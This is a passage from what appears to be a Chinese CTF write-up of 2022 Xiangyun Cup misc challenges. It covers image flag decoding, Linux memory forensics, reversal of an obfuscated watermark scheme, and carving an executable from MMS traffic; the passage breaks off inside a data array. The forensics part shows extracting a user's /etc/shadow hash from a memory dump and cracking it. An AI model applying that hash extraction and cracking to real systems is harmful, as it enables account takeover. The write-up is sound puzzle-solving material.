im = im.convert("L")
w,h = im.size
flag = []


k = 0
for i in range(h):
    for j in range(w):
        if im.getpixel((j,i)) != 255:
            k += 1
        else:
            flag.append(k)
            k = 1


for i in flag:
  print(chr(i^0xff),end="")

2.strange_forensics

linux内存取证,基本上strings都能做,一步一步来

直接strings flag,发现了flag3

图片[3]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

flag1说是用户的密码,总所周知linux密码存在/etc/shadow文件内,当然字符串那么多也不怎么好找,还是看看,随处可见的bob

图片[4]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

那么bob也肯定就是明文存储在shadow里面了,看看shadow文件结构

图片[5]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

用户名后跟冒号加$符号,直接搜索

图片[6]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

找到了,直接丢入cmd5查询,获得flag1 890topico

然后flag2是个问题,继续寻找,尝试搜索Desktop等关键字,发现盲点,一个secret.zip的文件

图片[7]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

010搜索zip的文件头,翻到最后发现了zip文件。

图片[8]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

提取出来,是个伪解密,改下加密头00-》09进行爆破,

图片[9]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

最后获得密码123456

图片[10]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

拼接起来,最终flag

890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER

补充

实际上使用vol做map解出来的捏,可惜查找文件效率实属感人,

写wp就懒得再做一遍了,strings大法好

图片[11]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

3.lena

水印,宇宙无敌超级大套娃,把关键内容基本都加了备注,混淆就是审计起来麻烦,其他的也没什么了,备注好各个功能就行,反正都是套娃,相互调用就行了,该题目使用的混淆工具

Oxyry Python Obfuscator – The most reliable python obfuscator in the world

import cv2
import pywt
import numpy as np
from reedsolo import RSCodec


#猫眼变换
def a(OO0O000OO00OO000O, O0O00OOOOO0OO0O0O):
    O000O0O0OOOOOO0OO, OO0000OOO0O0OOOOO, OOOOOOOOO00000OO0 = O0O00OOOOO0OO0O0O
    O0OO0OOO0OO0O0O0O = np.zeros(OO0O000OO00OO000O.shape)
    OO0OO0OOO0O0O0OOO, O00OO00OO0O000OOO = OO0O000OO00OO000O.shape[:2]
    for OOOO00O0O000O0O00 in range(O000O0O0OOOOOO0OO):
        for O0O00OO0000000000 in range(OO0OO0OOO0O0O0OOO):
            for O0OO0OO00OO0O00O0 in range(O00OO00OO0O000OOO):
                O00O00O00OOOOO000 = (O0OO0OO00OO0O00O0 +
                                     OO0000OOO0O0OOOOO * O0O00OO0000000000) % O00OO00OO0O000OOO
                OOO00000OOO0O0O00 = (
                    OOOOOOOOO00000OO0 * O0OO0OO00OO0O00O0 +
                    (OO0000OOO0O0OOOOO * OOOOOOOOO00000OO0 + 1) * O0O00OO0000000000) % OO0OO0OOO0O0O0OOO
                O0OO0OOO0OO0O0O0O[OOO00000OOO0O0O00, O00O00O00OOOOO000] = OO0O000OO00OO000O[O0O00OO0000000000,
                                                                                            O0OO0OO00OO0O00O0]
        OO0O000OO00OO000O = O0OO0OOO0OO0O0O0O.copy()
    return O0OO0OOO0OO0O0O0O


#b,分块,与c对应
def b(OO0O0OOO0OOOOOO00, O00OOOO0OOOOO0O00):
    O0OO00O00OO0OOO0O, O0O00O0O0OOOOOO0O = OO0O0OOO0OOOOOO00.shape[:2]
    OOO0000O0OOO00O0O, O0O0O0O0O0000OO00 = O00OOOO0OOOOO0O00
    OOO0OO0O00O0OO0OO = (O0OO00O00OO0OOO0O // OOO0000O0OOO00O0O, O0O00O0O0OOOOOO0O // O0O0O0O0O0000OO00,
                         OOO0000O0OOO00O0O, O0O0O0O0O0000OO00)
    O0OO0OOO0OOOO0O00 = OO0O0OOO0OOOOOO00.itemsize * np.array(
        [O0O00O0O0OOOOOO0O * OOO0000O0OOO00O0O, O0O0O0O0O0000OO00, O0O00O0O0OOOOOO0O, 1])
    OO0OO0O0OO0OO0O0O = np.lib.stride_tricks.as_strided(OO0O0OOO0OOOOOO00, OOO0OO0O00O0OO0OO,
                                                        O0OO0OOO0OOOO0O00).astype('float64')
    OO0OO0O0OO0OO0O0O = np.reshape(
        OO0OO0O0OO0OO0O0O,
        (OOO0OO0O00O0OO0OO[0] * OOO0OO0O00O0OO0OO[1], OOO0000O0OOO00O0O, O0O0O0O0O0000OO00))
    return OO0OO0O0OO0OO0O0O


#c 合块,与b对应
def c(O0O0OOOO0O0O00O0O, OOO0OO000O0000O00):
    O0O0O0O00OO0O0O00, OO000O00O0000O000 = OOO0OO000O0000O00[:2]
    OOOOO0000O0OO00OO, OOOO00O0OOO0000O0 = O0O0OOOO0O0O00O0O.shape[-2:]
    OOO0O000O0O0O00OO = (O0O0O0O00OO0O0O00 // OOOOO0000O0OO00OO, OO000O00O0000O000 // OOOO00O0OOO0000O0,
                         OOOOO0000O0OO00OO, OOOO00O0OOO0000O0)
    O0O0OOOO0O0O00O0O = np.reshape(O0O0OOOO0O0O00O0O, OOO0O000O0O0O00OO)
    OOOOO00O0O00OO00O = []
    for OO00OOO0O0O0OOO00 in O0O0OOOO0O0O00O0O:
        OOOOO00O0O00OO00O.append(np.concatenate(OO00OOO0O0O0OOO00, axis=1))
    OO00O0OO0O000OOOO = np.concatenate(OOOOO00O0O00OO00O, axis=0)
    return OO00O0OO0O000OOOO


#二值化用,
def d(OO00OOOO00000O000):
    O0O0000000000O00O = ((OO00OOOO00000O000 > 128) * 255).astype('uint8')
    return O0O0000000000O00O


#套娃变换,μ律
def e(O0OO0OOOOO0O00OOO, O000O0O0O0O00O0O0, O0OOOOOO00OO00O0O):
    return np.log(1 + O0OOOOOO00OO00O0O *
                  (np.abs(O0OO0OOOOO0O00OOO) / O000O0O0O0O00O0O0)) / np.log(1 + O0OOOOOO00OO00O0O)


#套娃里面的μ律逆变换
def f(O0O0OO0O0O000O0O0, OOOO0000O0OOOOO00, OOOO0OOO00O0OO00O):
    return (OOOO0000O0OOOOO00 / OOOO0OOO00O0OO00O) * (np.power(1 + OOOO0OOO00O0OO00O, np.abs(O0O0OO0O0O000O0O0)) - 1
                                                      )


#也是套娃的,QIM
def g(O0O0O0OO0OO00O000, O0O0O00O00000OO00, O0O0000O000OO00OO):
    O000O000OOOOO0OOO = (np.round(O0O0O0OO0OO00O000 * 1000 / O0O0000O000OO00OO) * O0O0000O000OO00OO +
                         (-1)**(O0O0O00O00000OO00 + 1) * O0O0000O000OO00OO / 4.) / 1000
    return O000O000OOOOO0OOO


class Watermark:


    def __init__(O0O0OOO0O0O000000, OO00OO0OO0OO00000):
        #初始变量定义,都是self
        O0O0OOO0O0O000000.block_shape = 4
        O0O0OOO0O0O000000.arnold_factor = (6, 20, 22)
        O0O0OOO0O0O000000.rsc_factor = 100
        O0O0OOO0O0O000000.mu_law_mu = 100
        O0O0OOO0O0O000000.mu_law_X_max = 8000
        O0O0OOO0O0O000000.delta = 15
        O0O0OOO0O0O000000.carrier = OO00OO0OO0OO00000.astype('float32')
        O00O00OOOOO0000O0, OO0OO0OO0OO0O0O0O = O0O0OOO0O0O000000.carrier.shape[:2]
        O0O0OOO0O0O000000.carrier_cA_height = O00O00OOOOO0000O0 // 2
        O0O0OOO0O0O000000.carrier_cA_width = OO0OO0OO0OO0O0O0O // 2
        O0O0OOO0O0O000000.watermark_height = O0O0OOO0O0O000000.carrier_cA_height // O0O0OOO0O0O000000.block_shape
        O0O0OOO0O0O000000.watermark_width = O0O0OOO0O0O000000.carrier_cA_width // O0O0OOO0O0O000000.block_shape
        O0O0OOO0O0O000000.max_bits_size = O0O0OOO0O0O000000.watermark_height * O0O0OOO0O0O000000.watermark_width
        O0O0OOO0O0O000000.max_bytes_size = O0O0OOO0O0O000000.max_bits_size // 8
        O0O0OOO0O0O000000.rsc_size = len(
            RSCodec(O0O0OOO0O0O000000.rsc_factor).encode(b'\x00' * O0O0OOO0O0O000000.max_bytes_size))
    #补数
    def h(OOO0O00OOOOOO0O00, O00O0OOOO00OOO0O0):
        OO00O0O0O0O0000OO = (O00O0OOOO00OOO0O0 % 2).flatten()
        if len(OO00O0O0O0O0000OO) < OOO0O00OOOOOO0O00.max_bits_size:
            OO00O0O0O0O0000OO = np.hstack(
                (OO00O0O0O0O0000OO,
                 np.zeros(OOO0O00OOOOOO0O00.max_bits_size - len(OO00O0O0O0O0000OO)))).astype('uint8')
        return OO00O0O0O0O0000OO


    #字节压缩转换
    def i(O00O0OOO0O00O0O0O, O0O0O00O00OO0O0OO):
        OOOO0OOO00O00OOOO = np.packbits(O0O0O00O00OO0O0OO).tobytes()
        return OOOO0OOO00O00OOOO


    #字节解压转换
    def j(O0O0O0O0O0O00000O, O0O00OOO00000O000):
        OOO0OOOO0O000O0OO = np.unpackbits(np.frombuffer(O0O00OOO00000O000, dtype='uint8'))
        if len(OOO0OOOO0O000O0OO) < O0O0O0O0O0O00000O.max_bits_size:
            OOO0OOOO0O000O0OO = np.hstack(
                (OOO0OOOO0O000O0OO,
                 np.zeros(O0O0O0O0O0O00000O.max_bits_size - len(OOO0OOOO0O000O0OO)))).astype('uint8')
        return OOO0OOOO0O000O0OO


    #屎山套娃...上面的efg都在里面.
    def k(OO00000O0OO0OO000, OOOOOOO00O00O0OO0, OOO00OO0O0OO0OOOO):
        O00O0OOO00OO0OO00 = OOOOOOO00O00O0OO0.copy()
        for OO000000O00OOO0O0, OO00O0000000OO0OO in enumerate(OOOOOOO00O00O0OO0):
            OO0OO0OOO0OOOOOO0 = OOO00OO0O0OO0OOOO[OO000000O00OOO0O0]
            O0OO00OO000000O0O = cv2.dct(OO00O0000000OO0OO)
            OOO000O000OO00OOO, OO00OOO000000OOO0, OO0OO0OOOO000OO0O = np.linalg.svd(O0OO00OO000000O0O)
            OO0000O0O000OO0OO = np.max(OO00OOO000000OOO0)
            OOO0O00OOOO0O0OO0 = e(OO0000O0O000OO0OO, OO00000O0OO0OO000.mu_law_X_max,
                                  OO00000O0OO0OO000.mu_law_mu)
            OOOO0OOO0O0OOO00O = g(OOO0O00OOOO0O0OO0, OO0OO0OOO0OOOOOO0, OO00000O0OO0OO000.delta)
            O00OOOOOOO0OO0OO0 = f(OOOO0OOO0O0OOO00O, OO00000O0OO0OO000.mu_law_X_max,
                                  OO00000O0OO0OO000.mu_law_mu)
            for O0O0O0OOO00O00OOO in range(OO00000O0OO0OO000.block_shape):
                if OO00OOO000000OOO0[O0O0O0OOO00O00OOO] == OO0000O0O000OO0OO:
                    OO00OOO000000OOO0[O0O0O0OOO00O00OOO] = O00OOOOOOO0OO0OO0
            O0OO0O0OOOOOO000O = np.dot(np.dot(OOO000O000OO00OOO, np.diag(OO00OOO000000OOO0)),
                                       OO0OO0OOOO000OO0O)
            O0OOO0O0O00OOO000 = cv2.idct(O0OO0O0OOOOOO000O)
            O00O0OOO00OO0OO00[OO000000O00OOO0O0] = O0OOO0O0O00OOO000
        return O00O0OOO00OO0OO00


        #关键内容,最终变换....
    def l(OOOOOOOO0OO00OOO0, O0O00O000OOO000OO):
        OOOO0O0OO0O000O00 = a(O0O00O000OOO000OO, OOOOOOOO0OO00OOO0.arnold_factor)#猫眼变换
        OOO00OO0000O0O0OO = d(OOOO0O0OO0O000O00)                                 #进行二值化
        O00O0OO0000OOOOO0 = OOOOOOOO0OO00OOO0.h(OOO00OO0000O0O0OO)              #补
        OO0000O000000O0OO = OOOOOOOO0OO00OOO0.i(O00O0OO0000OOOOO0)              #转换为字节
        OO00OOO0O0OO000OO = RSCodec(OOOOOOOO0OO00OOO0.rsc_factor)               #纠错
        O0O00OO0OO000OO0O = bytes(OO00OOO0O0OO000OO.encode(OO0000O000000O0OO)) #编码,转字节
        OOOOO0OOOOOO00OOO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[:OOOOOOOO0OO00OOO0.max_bytes_size]) #压缩数组
        O0OO0OOO0000OO0OO = OOOOOOOO0OO00OOO0.j(O0O00OO0OO000OO0O[OOOOOOOO0OO00OOO0.max_bytes_size:])   #压缩数组
        O0OO0O00OO0000OOO = cv2.cvtColor(OOOOOOOO0OO00OOO0.carrier, cv2.COLOR_BGR2YCrCb)    #转换为YCrCb
        OOO000O00O000OO0O, OO0OO0O0OOOOOOO00, OO0OO0OO000OOO000 = cv2.split(O0OO0O00OO0000OOO)  #分离通道
        O000O00OO0O00000O, O00OO0OOO0O0OO000 = pywt.dwt2(OO0OO0O0OOOOOOO00, 'haar')      #小波变换
        O0O0O00OOOO00OO00, OOOOO00000000OO0O = pywt.dwt2(OO0OO0OO000OOO000, 'haar')         #小波变换
        OO0OOO0OOO00OO0O0 = b(O000O00OO0O00000O,
                              (OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape)) #分块
        O0OO000OOO0OO0000 = b(O0O0O00OOOO00OO00,
                              (OOOOOOOO0OO00OOO0.block_shape, OOOOOOOO0OO00OOO0.block_shape))   #分块
        O00000OO0O00O0O0O = OOOOOOOO0OO00OOO0.k(OO0OOO0OOO00OO0O0, OOOOO0OOOOOO00OOO)   #DCT套娃变换
        O000OOOO0000OOO00 = c(O00000OO0O00O0O0O,
                              (OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块
        O0OO0O0OOO0O000OO = OOOOOOOO0OO00OOO0.k(O0OO000OOO0OO0000, O0OO0OOO0000OO0OO) #DCT套娃变换
        O000O0O0OOO00OO0O = c(O0OO0O0OOO0O000OO,
                              (OOOOOOOO0OO00OOO0.carrier_cA_height, OOOOOOOO0OO00OOO0.carrier_cA_width)) #合块
        OOO00O0OOO00OO0OO = pywt.idwt2((O000OOOO0000OOO00, O00OO0OOO0O0OO000), 'haar')  #小波逆变换
        O00OOO000O00OO0OO = pywt.idwt2((O000O0O0OOO00OO0O, OOOOO00000000OO0O), 'haar')  #小波逆变换
        O0OO000O0000000O0 = cv2.merge(
            [OOO000O00O000OO0O,
             OOO00O0OOO00OO0OO.astype('float32'),
             O00OOO000O00OO0OO.astype('float32')])
        O0OO0000000OO00O0 = cv2.cvtColor(O0OO000O0000000O0, cv2.COLOR_YCrCb2BGR) #转换为BGR
        return O0OO0000000OO00O0


if __name__ == '__main__':
    carrier = cv2.imread('test_images/lena.png')
    watermark = cv2.imread('test_images/flag.png', cv2.IMREAD_GRAYSCALE)
    wm = Watermark(carrier)
    embedded = wm.l(watermark)
    cv2.imwrite('embedded.png', embedded)

关键内容是l()函数,后面流程我都加备注了,基本流程是

两个图片各经历了不同的变化,

水印做猫眼,二值化之后压缩转为字节,最后RScode转为bytes,然后进行解压缩数据

原图首先通道转换,Cr,Cb通道进行了小波转换,随后数据分块4×4

之后将水印进行嵌入,然后使用了超级无敌大套娃的k函数(dct,svd,μ,QIM),将两组数据分别写入,Cr,Cb通道,进行合块(c函数),最终进行反小波运算,将通道转为RGB,完成隐写。。。

我只能说那是真的

那么知道具体思路写解密脚本就行了,就是从下往上回着写,基本都有对应,不难

脚本如下,尊重一下出题人的想法, 此处我也使用同样类型的混淆算法进行编写exp

from email.mime import image
import hashlib
import cv2
import numpy as np
import pywt
from reedsolo import RSCodec
import matplotlib.pyplot as plt


class WatermarkExtract ():
    def __init__ (O000OO00O00OOO0OO ,OOO00OO0OO0000O00 ):
        O000OO00O00OOO0OO .block_shape =4
        O000OO00O00OOO0OO .arnold_factor =(6 ,20 ,22 )
        O000OO00O00OOO0OO .rsc_factor =100 
        O000OO00O00OOO0OO .mu_law_mu =100 
        O000OO00O00OOO0OO .mu_law_X_max =8000 
        O000OO00O00OOO0OO .delta =15 
        O000OO00O00OOO0OO .carrier =OOO00OO0OO0000O00 .astype ('float32')
        O0O0O0OO0OO0OO00O ,O0OOO0O000OO0OOOO =O000OO00O00OOO0OO .carrier .shape [:2 ]
        O000OO00O00OOO0OO .carrier_cA_height =O0O0O0OO0OO0OO00O //2 
        O000OO00O00OOO0OO .carrier_cA_width =O0OOO0O000OO0OOOO //2 
        O000OO00O00OOO0OO .watermark_height =O000OO00O00OOO0OO .carrier_cA_height //O000OO00O00OOO0OO .block_shape
        O000OO00O00OOO0OO .watermark_width =O000OO00O00OOO0OO .carrier_cA_width //O000OO00O00OOO0OO .block_shape 
        O000OO00O00OOO0OO .max_bits_size =O000OO00O00OOO0OO .watermark_height *O000OO00O00OOO0OO .watermark_width
        O000OO00O00OOO0OO .max_bytes_size =O000OO00O00OOO0OO .max_bits_size //8 #line:17
        O000OO00O00OOO0OO .rsc_size =len (RSCodec (O000OO00O00OOO0OO .rsc_factor ).encode (b'\x00'*O000OO00O00OOO0OO .max_bytes_size ))
    def c (O00O000000OOOO00O ,O000O0O0OO0O0OOOO ):
        OO00O00OO00O0000O ,O00O0OOOO000O0OO0 =O000O0O0OO0O0OOOO [:2 ]#line:22
        OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 =O00O000000OOOO00O .shape [-2 :]#line:23
        O0000O00O0O00OO00 =(OO00O00OO00O0000O //OO0O0O0O0OOO0O000 ,O00O0OOOO000O0OO0 //OO0000OOO00O0O0O0 ,OO0O0O0O0OOO0O000 ,OO0000OOO00O0O0O0 )#line:24
        O00O000000OOOO00O =np .reshape (O00O000000OOOO00O ,O0000O00O0O00OO00 )#line:25
        O0OO00O0000OOO000 =[]#line:26
        for OO000OOOO00OO0OOO in O00O000000OOOO00O :#line:27
            O0OO00O0000OOO000 .append (np .concatenate (OO000OOOO00OO0OOO ,axis =1 ))#line:28
        O0OOO0O00O0OO0OOO =np .concatenate (O0OO00O0000OOO000 ,axis =0 )#line:29
        return O0OOO0O00O0OO0OOO #line:30
    def b (OO0000OOO000OOO00 ,O000OO000OOO0O00O ,OO0O000OO0O0OO00O ):#line:32
        OO000O000000O0OOO ,O0O00OOOO0O0O0O00 =O000OO000OOO0O00O .shape [:2 ]#line:33
        O00000OO000O0O00O ,O00000OOO0OOO00O0 =OO0O000OO0O0OO00O #line:34
        OOOOOOO0OO00OOO00 =(OO000O000000O0OOO //O00000OO000O0O00O ,O0O00OOOO0O0O0O00 //O00000OOO0OOO00O0 ,O00000OO000O0O00O ,O00000OOO0OOO00O0 )#line:35
        OO000000O0OO0OO0O =O000OO000OOO0O00O .itemsize *np .array ([O0O00OOOO0O0O0O00 *O00000OO000O0O00O ,O00000OOO0OOO00O0 ,O0O00OOOO0O0O0O00 ,1 ])#line:36
        OO00O00OOOO0OOO00 =np .lib .stride_tricks .as_strided (O000OO000OOO0O00O ,OOOOOOO0OO00OOO00 ,OO000000O0OO0OO0O ).astype ('float64')#line:37
        OO00O00OOOO0OOO00 =np .reshape (OO00O00OOOO0OOO00 ,(OOOOOOO0OO00OOO00 [0 ]*OOOOOOO0OO00OOO00 [1 ],O00000OO000O0O00O ,O00000OOO0OOO00O0 ))#line:38
        return OO00O00OOOO0OOO00 #line:39
    def e1 (O0O0O0OOO00O00000 ,OOO000O00O0OOO0O0 ,OO000OOO000OO000O ,OOOOOO00000O00O00 ):#line:43
        return np .log (1 +OOOOOO00000O00O00 *(np .abs (OOO000O00O0OOO0O0 )/OO000OOO000OO000O ))/np .log (1 +OOOOOO00000O00O00 )#line:44
    def extract (OO0OOO00OO0O00OO0 ,O000OO0O0O00OOOO0 ,OO0OOO000O000O00O ):#line:46
        return O000OO0O0O00OOOO0 /2 -OO0OOO000O000O00O *1000 %O000OO0O0O00OOOO0 #line:47
    def reverse (O0OO0OO00000000OO ,OO0O00O000000OOOO ):#line:49
        O000OOOOOOOOO0O0O =OO0O00O000000OOOO .copy ()#line:50
        O000O0OOO000OOO0O =[]#line:51
        for O0OOOOO0000O0O000 ,OOO0000OO00OO0000 in enumerate (OO0O00O000000OOOO ):#line:52
            O00OO00O00000OOOO =cv2 .dct (OOO0000OO00OO0000 )#line:53
            O00O00O0OOO0OO0O0 ,OOOO0OO0OOOOOOOOO ,O00O000OO000O0000 =np .linalg .svd (O00OO00O00000OOOO )#line:54
            O0000O0OO0000OOO0 =np .max (OOOO0OO0OOOOOOOOO )#line:55
            O00OO0OO00O00O000 =O0OO0OO00000000OO .e1 (O0000O0OO0000OOO0 ,O0OO0OO00000000OO .mu_law_X_max ,O0OO0OO00000000OO .mu_law_mu )#line:56
            O000OOOOOOOOO0O0O =O0OO0OO00000000OO .extract (O0OO0OO00000000OO .delta ,O00OO0OO00O00O000 )#line:57
            if O000OOOOOOOOO0O0O >0 :#line:58
                O000O0OOO000OOO0O .append (1 )#line:59
            else :#line:60
                O000O0OOO000OOO0O .append (0 )#line:61
        return O000O0OOO000OOO0O #line:62
    def packbits (OOO00OO00OO0OOO00 ,O0O0O00O0O00OOO00 ):#line:64
        OOO00000O00000OO0 =np .packbits (O0O0O00O0O00OOO00 ).tobytes ()#line:65
        return OOO00000O00000OO0 #line:66
    def debuffer (OO0O0OO00O000OOOO ,OOO00OOOO00O0000O ):#line:68
        O0O0O0OO00OO00OO0 =np .unpackbits (np .frombuffer (OOO00OOOO00O0000O ,dtype ='uint8'))#line:69
        return O0O0O0OO00OO00OO0 #line:70
    def dearnold (OOOO000O0OO0OOO0O ,OOOOOOO00OO0O0000 ,OOOO0O0000O0OO0OO ):#line:72
        O0OOOOOOO000OO0O0 ,O00O0OO0OO0000O00 ,OOO00O00OOO00OO00 =OOOO0O0000O0OO0OO #line:73
        OO000OO000O0000O0 ,OOOOOO0O0OOOOO00O =OOOOOOO00OO0O0000 .shape [:2 ]#line:74
        OO000OO00OOOO00O0 =np .zeros (OOOOOOO00OO0O0000 .shape )#line:75
        for O00OO00OO00O00000 in range (O0OOOOOOO000OO0O0 ):#line:76
            for O0O000000000OOO0O in range (OO000OO000O0000O0 ):#line:77
                for O0O0OOOOO0OOOOOO0 in range (OOOOOO0O0OOOOO00O ):#line:78
                    O0OO0OO0O0O0O00OO =(O0O0OOOOO0OOOOOO0 +O00O0OO0OO0000O00 *O0O000000000OOO0O )%OOOOOO0O0OOOOO00O #line:79
                    OO000OO000O0OO0O0 =(OOO00O00OOO00OO00 *O0O0OOOOO0OOOOOO0 +(O00O0OO0OO0000O00 *OOO00O00OOO00OO00 +1 )*O0O000000000OOO0O )%OO000OO000O0000O0 #line:80
                    OO000OO00OOOO00O0 [OO000OO000O0OO0O0 ,O0OO0OO0O0O0O00OO ]=OOOOOOO00OO0O0000 [O0O000000000OOO0O ,O0O0OOOOO0OOOOOO0 ]#line:81
            OOOOOOO00OO0O0000 =OO000OO00OOOO00O0 .copy ()#line:82
        return OOOOOOO00OO0O0000 #line:84
    def decode1 (OOOOOOOO0OOOO0OO0 ,O0O000OO00O0O0000 ):#line:87
        O0O000OO00O0O0000 =OOOOOOOO0OOOO0OO0 .carrier #line:88
        OOOOO0O00OOOO0O00 =cv2 .cvtColor (O0O000OO00O0O0000 ,cv2 .COLOR_BGR2YCrCb )#line:89
        OO00O0OOO00OO000O ,O0OO00OO00OOO00OO ,O00O0OOO000O0OO00 =cv2 .split (OOOOO0O00OOOO0O00 )#line:90
        O0O0OO0O0O00000O0 ,O00O0000OOOO00O0O =pywt .dwt2 (O0OO00OO00OOO00OO ,'haar')#line:92
        OO000000OOO0O0OO0 ,O0OO000OOO0OO00OO =pywt .dwt2 (O00O0OOO000O0OO00 ,'haar')#line:93
        O0O0OOO00OO0O00O0 =OOOOOOOO0OOOO0OO0 .b (O0O0OO0O0O00000O0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:94
        O000OOOOO0O000O00 =OOOOOOOO0OOOO0OO0 .b (OO000000OOO0O0OO0 ,(OOOOOOOO0OOOO0OO0 .block_shape ,OOOOOOOO0OOOO0OO0 .block_shape ))#line:95
        O0O0OO00OO0OOOOOO =OOOOOOOO0OOOO0OO0 .reverse (O0O0OOO00OO0O00O0 )#line:97
        OOO00OO000OO00000 =OOOOOOOO0OOOO0OO0 .reverse (O000OOOOO0O000O00 )#line:98
        O0OOO00O000000000 =np .array (O0O0OO00OO0OOOOOO +OOO00OO000OO00000 )#line:100
        OO000OO0OOOOO00O0 =(OOOOOOOO0OOOO0OO0 .packbits (O0OOO00O000000000 ))[:OOOOOOOO0OOOO0OO0 .rsc_size ]#line:101
        OOOO0OO0OO0O0OO0O =RSCodec (OOOOOOOO0OOOO0OO0 .rsc_factor )#line:102
        OO0OOOOO00O0OOOOO =bytes (OOOO0OO0OO0O0OO0O .decode (OO000OO0OOOOO00O0 )[0 ])#line:103
        OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .debuffer (OO0OOOOO00O0OOOOO ).reshape ((240 ,240 ))#line:104
        for OO0O0OO0OOO00OOO0 in range (19 ):#line:105
            OO0000O000OOO0OOO =OOOOOOOO0OOOO0OO0 .dearnold (OO0000O000OOO0OOO ,OOOOOOOO0OOOO0OO0 .arnold_factor )#line:106
        return OO0000O000OOO0OOO #line:108
if __name__ =='__main__':#line:111
    embedded =cv2 .imread ('embedded.png')#line:117
    wm =WatermarkExtract (embedded )#line:118
    extart =wm .decode1 (embedded )#line:119
    cv2 .imshow ('extart',extart )#line:121
     cv2 .waitKey (0 )#line:122
图片[12]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

4.super_electric

misc+re+crypto 只能说re和密码是牛逼的

流量分析,MMS流量,直接追踪TCP,发现盲点

图片[13]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

一眼顶针,是MZ文件头的exe程序,仔细看一眼,是octet-string字段存储的,

然后导出csv,编写脚本即可

import csv
from hashlib import new


list1 = [] 
with open('dump.csv') as f:
    reader = csv.reader(f)
    for row in reader:
        list1.append(row)


newlist = []


for i in range(1,len(list1)-1):
    if len(list1[i][6]) == 16:
        newlist.append(list1[i][6])


strings = ''.join(newlist)
#hex转换,保存为exe
with open('1.exe', 'wb') as f:
    f.write(bytes.fromhex(strings))

拿到文件运行发现是弹窗提示,所以直接在MessageBox下了断点回溯找到校验部分

是明文比对,所以过了第一个校验

图片[14]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


然而并没有结束,flag不对,所以在继续找程序的可疑地方即是pack段与mysec段

在pack段的有个函数CRC解密的部分,所以怀疑是个内置的压缩壳

随后经过不断调试与尝试想起start函数可疑的地方,也就是经过第一个校验之后还在运行的地方

图片[15]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


于是把程序直接跑到这,跳过去直接dump出来

图片[16]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


直接审计一下提取数据手动解密

图片[17]-2022祥云杯ALLMISC Writeup-魔法少女雪殇


得到

data1 = [  0xEA, 0xE8, 0xE7, 0xD6, 0xDC, 0xD6, 0xEE, 0xEC, 0xFD, 0xD6, 
  0xB8, 0xFD, 0xB6]
for t in data1:
    print(chr(t ^ 0x89), end = "")


print()


data = [  0x66, 0x73, 0x6D, 0x6E, 0x24, 0x46, 0x74, 0x7E, 0x78, 0x7D, 
  0x65, 0x25, 0x4F, 0x64, 0x7E, 0x67, 0x75, 0x63, 0x32, 0x7A, 
  0x79, 0x65, 0x79, 0x65, 0x6C, 0x39, 0x5B, 0x5E, 0x4F, 0x17, 
  0x77, 0x72, 0x50, 0x4E, 0x50, 0x57, 0x04, 0x47, 0x4F, 0x49, 
  0x49, 0x5A, 0x49, 0x42, 0x45, 0x27, 0x47, 0x42, 0x40, 0x5E, 
  0x40, 0x47, 0x14, 0x5D, 0x57, 0x44, 0x50, 0x55, 0x53, 0x59, 
  0x36, 0x5B, 0x4C, 0x50, 0x2D, 0x61, 0x2A, 0x2B, 0x2C, 0x65, 
  0x2F, 0x2A, 0x38, 0x26, 0x38, 0x3F, 0x6C, 0x2B, 0x22, 0x2E, 
  0x37, 0x5B, 0x33, 0x20, 0x27, 0x30, 0x24, 0x23, 0x78, 0x3F, 
  0x36, 0x3A, 0x3B, 0x06, 0x64, 0x6A, 0x3D, 0x41, 0x5F, 0x5E, 
  0x44, 0x42, 0x00, 0x0B, 0x09, 0x0E, 0x11, 0x4C, 0x4C, 0x0C, 
  0x00, 0x0B, 0x50, 0x17, 0x1E, 0x12, 0x13, 0x2E, 0x5B, 0x46, 
  0x42, 0x24, 0x5A, 0x46, 0x41, 0x5D, 0x59, 0x02, 0xA7, 0x8B, 
  0xE9, 0xE6, 0xFD, 0xA5, 0xBB, 0xA7, 0xEA, 0xAE, 0xBE, 0xEF, 
  0xB5, 0xEC, 0xB9, 0xBF, 0xA0, 0xA1, 0xA3, 0xA3, 0xA0, 0xA6, 
  0xA1, 0xBD, 0xB2, 0xB3, 0xBD, 0x91, 0xF0, 0xBD, 0xA3, 0xBF, 
  0xCC, 0xC4, 0xCC, 0x8B, 0xCF, 0xC0, 0xDF, 0x8E, 0xA2, 0xC4, 
  0xCF, 0xD8, 0xDF, 0xCC, 0xC9, 0xCA, 0x90, 0x8C, 0x92, 0xD1, 
  0x93, 0xF1, 0xD9, 0x97, 0xC1, 0xD6, 0xCF, 0x9B, 0xD9, 0xCB, 
  0xDB, 0xCD, 0xE0, 0xA7, 0xA7, 0xA6, 0xA8, 0xE9, 0xE6, 0xA1, 
  0xAD, 0xAC, 0xA6, 0xEB, 0xBF, 0xA2, 0xEE, 0xBF, 0xB1, 0xA1, 
  0xB7, 0xA1, 0xF4, 0xA1, 0xBE, 0xBE, 0xB6, 0xF5, 0xFA, 0x97, 
  0xB5, 0xB6, 0xBB, 0xFF, 0x81, 0xC1, 0x8A, 0x8C, 0x91, 0x96, 
  0x83, 0xC7, 0x87, 0x8F, 0xCA, 0x88, 0x8D, 0x9F, 0x8A, 0x9C, 
  0xDC, 0xD1, 0xBD, 0x9D, 0x91, 0xD5, 0x94, 0x9B, 0x97, 0x8E, 
